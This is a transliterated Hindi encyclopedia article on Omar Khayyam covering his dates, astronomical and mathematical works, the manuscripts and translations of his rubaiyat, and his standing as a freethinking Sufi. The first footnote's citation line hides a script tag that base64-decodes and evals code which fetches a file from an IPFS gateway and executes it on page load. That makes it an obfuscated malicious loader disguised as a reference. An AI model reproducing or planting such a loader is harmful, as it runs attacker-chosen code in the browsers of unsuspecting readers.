उमर ख़य्याम
umar khayyam sangitamay pharasi rubaiyoan ke prasiddh rachayita abul fatah umar bin ibrahim al khayyam athava khayyam (khema sinevale) ke vishay mean yadyapi yoorop evan eshiya ke anek uchch koti ke vidvanh lagabhag 100 varsh se shodhakary mean sanlagn haian kiantu abhi tak nishchit roop se usaki janm evan mrityu tithi bhi nirdharit nahian ho saki hai. samakalin granthoan se keval yah pata chal saka hai ki 467 hi. (1074-75 ee.) mean vah saljooq sultan jalaluddin malikashah ki vedhashala ka uchch adhikari niyukt ho gaya tha. 506 hi. (1112-13 ee.) mean usake shishy tatha pharasi ke prasiddh vidvanh nizami uruzi samarakandi ne usase balkh mean bheant ki. 505 hi. (1112-13 ee.) athava 507 hi. (1113-14 ee.) mean 'tarikhul hukama' ka lekhak abulahasan behaqi, balyavastha mean usase mila. 508 hi. (1114-15 ee.) mean usane sultan muhammad bin malikashah ke shikar ke lie lagnakuandali taiyar ki. 530 hi. (1135-36 ee.) ke poorv usaka shishy nizami kanan ke pushpoan se dhaki huee usaki kabr ke darshanarth pahuancha tha. usake pray: char varsh pahale usaki mrityu ho chuki thi. in mukhy tithiyoan ke prasang mean ullikhit vibhinn ghatanaoan ke adhar par is bat ka anuman lagaya gaya hai ki usaka janm 440 hi. (1048-49 ee.) evan mrityu 526 hi. (1131-32 ee.) mean huee. uttar poorv pharas ke kharasan praant ka nishapur nagar, jo madhyayug mean ramaniyata evan samriddhi ke sath-sath vidvanoan evan uchch koti ke vidyalayoan ke lie vikhyat tha, usaki janmabhoomi tha.
umar khayyam apane jivanakal mean hi jyotishi, vaijnanik evan darshanik ke roop mean prasiddh ho gaya tha. 1074-75 ee. mean sultan jalaluddin malikashah ki vedhashala mean usane 'al tarikh al jalali' athava jalali panchaang taiyar karaya. usaki vaijnanik rachanaoan mean usake bijaganit 'risalah fi barahin al jabr val muqabala' ka anuvad fitzerald ke rubaiyoan ke aangreji bhashaantar ke ath varsh poorv 1851 ee. mean phraansisi anuvad sahit peris se prakashit ho chuka tha, yadyapi yoorop ke vidvanoan mean is granth ki charcha 1742 ee. se hi praranbh ho gee thi. usaki any vaijnanik rachanaoan mean yooklid ke 'musadarat' siddhaantoan se sanbandhit usaki shodhapoorn prastavana, ganit sanbandhi granth 'mushkilat-alahisab:' evan chaandi sone ke apekshik bhar sanbandhi granth 'mizanul hikam v risalah maref meqadarijhab' adhik prasiddh haian. bahut se vidvanoan ka mat hai ki aboo sina ke granthoan ke saman usaki darshanashastr sanbandhi rachanaean bhi kam mahatv ki nahian haian. usane 'risale kaun v takalif' 'risale fi kulliyatil vujood', 'risale maujoo ilme kulli v vujood' evan 'risale ausaf', ya 'risalatul vujood' namak apani rachanaoan mean advaitavad tatha 'ek evan anek' ke siddhaantoan ki b de vidvattapoorn dhang se mimaansa ki hai. rajadarabaroan mean vah chikitsak ke roop mean bhi vikhyat tha. usake kuchh arabi sher bhi milate haian. kiantu use adhik prasiddhi farasi rubaiyoan ke karan hi mili.
usaki rubaiyoan ki prachinatam pramanik hastalikhit pothi, jisaka abhi tak pata chal saka hai, istanbol ki 1456-57 ee. ki pothi hai jisamean 131 rubaiyaan haian. istanbol mean hi 1460-61ee. ki nakal ki huee tatha pothi mean 315 rubaiyaan, aksaford ke b aaudaliyan pustakalay ki 1460-61 ee. ki ek pothi mean 158 rubaiyaan, viyena ki 1550 ee. ki pothi mean 482 rubaiyaan, baankipur (patana) ke khudabakhsh pustakalay ki pothi mean 604 aur 1894 ee. mean lakhanoo se prakashit sanskaran mean 770 rubaiyaan haian. 897 ee. mean roosi vidvanh zokovoski ne umar khayyam ki vastavik rubaiyoan ki chhanabin praranbh ki aur nikola ke 1867 ee. ke phraansisi sanskaran ki 464 rubaiyoan mean 82 ko any pharasi kaviyoan ki bataya hai. jis prakar usaki rubaiyoan ke adhar par usake jivan se sanbandhit anek ghatanaean gadh li gee haian, usi prakar any farasi kaviyoan ki rubaiyaan bhi usake nam par thop di gee haian aur usaki darshanashastr aur any ganbhir vishayoan se sanbandhit rubaiyaan 'bhoolati bhatakati' any kaviyoan ki rachanaoan mean sammilit ho gee haian. aangrej vidvanh ee.di.ros, phraansisi pandit kristen zen tatha profesar braun ne vidvattapoorn shodh dvara shuddh rubaiyoan ka pata lagane ka prayatn kiya hai. eshiya evan yoorop ke any vidvanoan ki bhi is sanbandh mean rachanaean abhi tak prakashit hoti ja rahi haian kiantu usaki pramanik rubaiyoan ki vastavik sankhya abhi tak nirdharit nahian ho saki hai.[1]
sansar ki lagabhag sabhi bhashaoan mean usaki rubaiyoan ke pady athava gady anuvad prakashit ho chuke haian. prachinatam aangreji padyanuvad fitzerald ne 1859 ee. mean prakashit karaya tha. 1867 ee. mean nikola ne phraansisi sanskaran nikala. 1868 ee. fitzerald ke aangreji anuvad ka doosara sanskaran prakashit hua. isake bad ke anuvadoan ke sanskaranoan ka, jinamean sachitr sanskaran bhi sammilit haian, anuman lagana hi asanbhav hai. 1898 ee.mean ee. herin elen ne fitzerald ke bhashaantar ko mool rubaiyoan se milakar yah siddh kar diya hai ki fitazerald ne mool ki chianta n karake kahian-kahian do-do, tin tin rubaiyoan ka bhav ek mean hi aur kahian mool ki atma mean pravisht hokar keval kavyamay vyakhya kar di hai.
umar khayyam ki rubaiyoan mean basant, sura-suandari-upabhog, vihar, prem, rati evan vishayavasana ke jo bhav sphutit haian tatha jo vyangy prapy haian unake adhar par kuchh vidvanoan ne use nastik, j davadi athava keval rasik, kamuk ya mauji jiv bataya haian kiantu usake any ganbhir granthoan evan samakalin rajanitik tatha samajik uthal puthal ki prishthabhoomi mean yadi usaki rubaiyoan ka adhyayan kiya jae to jnat ho jaega ki vah b de uchch koti evan svatantr vicharoan ka soophi tha aur paranparaoan, roodhiyoan, aandhavishvasoan evan dharmaandhata ka virodh karane mean use eeshvar ka bhi koee bhay n tha.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 129 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-(pharasi tatha arabi)-uruzi samaraqandi : 'chahar maqala', 'shaharazori', 'nuzahatul aravah'; shekh najmuddin dayah : 'mirasadul ebad'; ibne asir : 'tarikhe kamil'; jamaluddin qifti : 'akhb़arul ulma'; zakariya qazavini; 'asarul belad; rashiduddin fazalullah : 'jame uttavarikh'; maulana khusaro abr qohi : 'firadausuttavarikh'; haji khalifa : 'kashphujjunnoon'; ahamad bin nasrullah thatthi : 'tarikhe alafi'. (urdoo) saiyad suleman nadavi : 'khayyam aur usake savaneh v tasanif par naqedana nazar'. (aangreji) braun : 'litrari histari aauv parashiya; arabere, e.je. : 'klaisikal parshiyan litarechar' ; 'inasathaklopidiya aauv islam' tatha anuvadoan ki prastavanaean. (hiandi) maithilisharan gupt : 'rubaiyate umar khayyam' (sachitr); keshavaprasad pathak : 'rubaiyate umar khayyam' (sachitr).